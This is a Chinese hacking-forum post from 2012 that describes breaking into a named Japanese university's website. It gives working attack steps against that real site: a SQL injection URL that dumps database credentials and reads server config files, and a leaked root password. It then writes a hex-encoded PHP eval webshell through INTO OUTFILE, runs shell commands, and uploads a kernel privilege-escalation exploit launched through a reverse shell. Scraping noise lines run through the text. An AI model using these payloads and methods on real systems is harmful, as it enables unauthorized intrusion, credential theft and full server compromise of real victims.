中国网络渗透测试联盟
标题:
入侵日本同志社大学
[打印本页]
作者:
admin
时间:
2012-11-21 13:48
标题:
入侵日本同志社大学
入侵日本同志社大学技术分析
! U/ U6 p q# K6 p! R% i# Q I
3 t7 x/ H9 x0 R* K
http://www.doshisha.ac.jp/chs/news/index.php?i=-1
+ d" Q6 C$ F& d4 J
然后联合查询,猜字段,查版本,查密码,读取文件…….就是各种查啊,语句是:
$ c0 C) B2 l$ S; _, N
5 R( T4 A0 e' S! |! m T
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+1
,@@datadir,3,load_file(‘/etc/httpd/conf/httpd.conf’),5,group_concat(DISTINCT+user,0x3a,password,0x3a,file_priv,0x3a,host),7,8+from+mysql.user
" l2 k/ A( u! }8 A
" ?& F% e k. g
8 r" x, G; [0 L: ?
# Y# Y; c* N$ m3 F7 j
//@@datadir为数据库文件路径
( J3 X' m5 \) t
7 c; ~/ P9 A: _# a
4 H( F: n5 C7 }" r' i% R
//load_file读取网站容器apache的配置文件
1 V* v, r; k6 k; n+ q2 L7 x
5 H# Z* {7 I: P- `7 O
4 V. {) J2 Q8 E
//group_concat读取MySQL管理员的名字、密码、是否允许读写文件和允许登录的远程计算机
: O3 [. d$ k) k- U" m
复制代码
1 g' ?6 k# W8 J
& |( V! j& l! }7 _: M b1 M
虽然解得MySQL的root账户密码为mysql00,但是host为localhost,只允许本机登陆,所以用处不大。
# K+ E4 s5 {/ D' w; k* M9 h
) o6 j; T9 l9 w: N) |
而且Apache的配置文件显示,服务器拒绝非该大学的ip访问/admin/和phpMyAdmin,所以即使爆出管理员账户密码也没用。
, g6 [! z6 _) _6 ^
(大家对以上各种查和语句不太懂的可以参考以下文章:
http://bbs.blackbap.org/thread-2243-1-1.html
)
k, G v1 o7 t9 X- }
# O( A+ f: L3 p
前面load_file是因为发现了各文件夹权限限制的死,不允许外校ip登陆,所以就猜了一下apache的配置文件绝对路径为默认,后来发现还真的是默认的路径。
& J8 C( M* X6 ]9 J8 Q8 q5 i7 ?
如果知道怎么猜apache配置文件的路径的请参考以下文章:
http://bbs.blackbap.org/thread-2242-1-1.html
6 a$ V- b# K; }& p. i: S6 l. t* s, ]
/ m |" g: M6 G4 y8 I
既然已经知道了Apache的配置文件的内容,我们也就轻易知道了网站物理路径,路径为:/http/www/koho/
( p' H- L/ B9 u& ~% R0 h0 J4 E
虽然/admin和phpMyAdmin的目录都限制了,但是想了想,我们只要有注入点就可以可以写入shell了,因为php的GPC为off,怎么判断为off我就不说了。
0 ~8 E& Y& r( U8 z
直接写一句话:
/ T- l) V& {! e; Y) P* E( c/ }
( B$ w" W& x% P" P5 _. Y, U- a
http://www.doshisha.ac.jp/chs/news/index.php?i=-1+union+select+
0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E,0x3c3f2f2a,3,4,5,6,7,0x2a2f3f3e+into+outfile+’/http/www/koho/english/engnews_img/aa.php’#
- X3 W# x1 H# u+ M' H4 ^
) _7 M" b+ e% T& n
1 y0 T, w' F9 B, d
/ Q2 n5 Q5 \! p) L
//最后的#是为了闭合前面的语句
# n& |" e1 E3 X' t! t5 D a# w9 W& C
# b; F3 [2 J# o2 C- ?
. o+ s: M, J* H0 H$ P& @( o( t
/*其中的0x3C3F70687020406576616C28245F504F53545B27636D64275D293B3F3E
: H( M& l5 d: X' q9 ?
5 o% M" r$ L& X+ o7 i" r
U$ H" N; F. ]: _, h
为一句话<?php @eval($_POST['cmd']);?>的HEX编码,不懂(HEX编码)的话Google一下就好*/
' \7 ~& C0 W" f8 F) t* q8 k
- Y' }) V2 T/ H6 Z* |! M/ N7 F
0 o, ], r j& u" \" M
//如果直接select 一句话 into outfile ‘路径’会提示字段数不同,所以select 1,2,3,4…来执行注入语句
: [% f, z6 Y0 F- g. [! o
N: I& c- ]* w) e# W
0 Z- O$ P, i, L3 r- O
//后面的0x3c3f2f2a和0x2a2f3f3e分别为’<?php //’的和’?>’HEX因为select后面的3,4,5,6会被写入webshell中,可能会导致一句话执行错误
- E3 m! H- K- M' ^ D+ H
//所以最后aa.php的内容就是”<?php @eval($_POST['cmd']);?><?php //3,4,5,6,7 ?>”
- n2 @0 C* v9 f s+ a% `- _
复制代码
8 p0 E* T) x2 T1 \- o0 M
7 z; C, {! c3 W& m3 t* g" _
HEX其实就是十六进制编码,不知道这个编码的话,去搜一下好了,HEX编码转换在线本地各种工具各种有
: Q9 f0 r0 Y7 ?4 `( H2 ?1 _
通过上述注入语句,我们就得到了一句话木马:
C: d& L2 `( Q: x8 R
. }; t0 M9 ?$ H2 {0 l$ R8 E7 S# Y
* d" f% R3 M2 P/ |8 D' R- Z
9 ?# r, ~1 { H/ N5 m: e q# F) v, L
/ g' s7 E/ W& D$ [* f6 O9 W
) o2 J6 S0 d! l. W% u K
http://www.doshisha.ac.jp/english/engnews_img/aa.php
. x4 D6 X4 O/ H7 f$ R
复制代码
2 W* r) |! F" u6 d
* c7 T8 ]! F4 R$ P, d' `8 _8 L: O
用菜刀连接,密码是cmd,如图所示:
. c* ]$ ^' X7 L8 q* @
然后在命令提示行里看了一下,现在的权限是:
! W9 h7 O0 }3 O! s- V3 E; J
' @/ C& |9 c5 f# K) w7 K
之后按照惯例我看了一下/tmp/文件夹,发现/TMP/权限居然被禁掉了,很少有服务器禁掉这个文件夹的。
7 D3 m: @& ?& M& k1 ]. z
好在赋权给这个文件夹不需要root,直接执行赋权语句:
! Q6 ~: c6 {9 ~4 k
4 W/ j- e: L9 d
+ m! l* O j7 g% V1 b
6 c# p$ v3 ?6 b n
# W- J S9 h' Z: A6 r3 J
0 D7 l0 L; p5 ~7 m& S) `
chmod +x /tmp/
4 }. D" \3 ] `( j
复制代码
6 u- }/ Q# T9 |( _9 l1 ^( b" ]
M% j/ W! G; W4 N# W$ O: X. I9 ~) {
在这说一下,linux里面的文件夹跟文件一样,执行命令自然也可以按照像文件一样的执行
6 Y3 r# W0 L& Q( p; r. f
然后就查了一下内核版本:
2 P% i/ k9 o( f+ Q D" d9 m) \) _
1 e: x2 A; e+ `8 y$ n7 B
" |5 M# B) I$ X9 X
$ R& _8 l9 \! Y5 v6 t+ s. L7 u8 m
" k+ j' {% \* \& k, c' T7 i
' V+ D8 k6 N' s, }+ i1 e: Q8 P
uname-a
) s9 F" `$ E8 Q
8 l" h: D* _' [, \: U
) m- P! n; y4 F$ @# B+ O/ A
//其实lsb_release -a
; V* i6 v/ i9 [2 X( \3 i! k
复制代码
. ^- r4 w" H2 W$ t9 W
; O* `% w0 |- G% V# \
如图所示:
8 S6 |( G: ], E
2 v# u( n0 \% r2 p
内核版本:linux mainz1 2.6.28-194.e15
& p3 }& ^' w- ?
系统描述为:Red Hat Enterprise Linux Server release 5.5 (Tikanga)
/ U' m6 l8 D6 |7 C+ G+ H0 g
查完了系统版本之后就去找找相应的提权脚本!~然后传到/tmp/文件夹
" Y3 V7 r& n/ k& f2 _
5 ~! D1 S$ v; n! A( Q1 {
然后给予执行权限
7 N/ _# k* z/ T3 \% R" |
一般我都是传上去c源文件,然后”gcc -o /tmp/程序 /tmp/C源码”这样,如果gcc不能用,在其他机器编译好了直接传上去其实也可以,就像这样
2 ^- _0 J J% R" J$ Z' X( P+ \
0 q" q, ~- i# R" _0 p8 r* H* f
0 Z9 ]+ H+ t$ h0 }# M8 y$ l* T
+ Z- v, d# h" G, F5 d
/ P0 f0 r- b g
$ c. m8 I& J; K4 K6 C' g) W
chmod +x /tmp/2.6.18-194
T- `& V; F& Z9 z g" A' p
复制代码 然后直接执行!~
- i9 i: R% V/ V" {( u: [: I' S
8 h8 ~, w% I* z! O( ?
总结:
Q2 v d, C) s2 j8 T: Z2 R9 E
这个注入点的基本思路就是,发现MySQL账户为root,GPC设置为off,搞到了物理路径就直接写Webshell了
1 l" Z, x" G {6 f) [
提权部分原理就是,本地监听端口,将对方机器反弹回cmdshell来,然后把和内核版本对应的EXP传上去,编译运行,得到root
) v# _- o# C/ f
% f# n8 A9 J( n
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2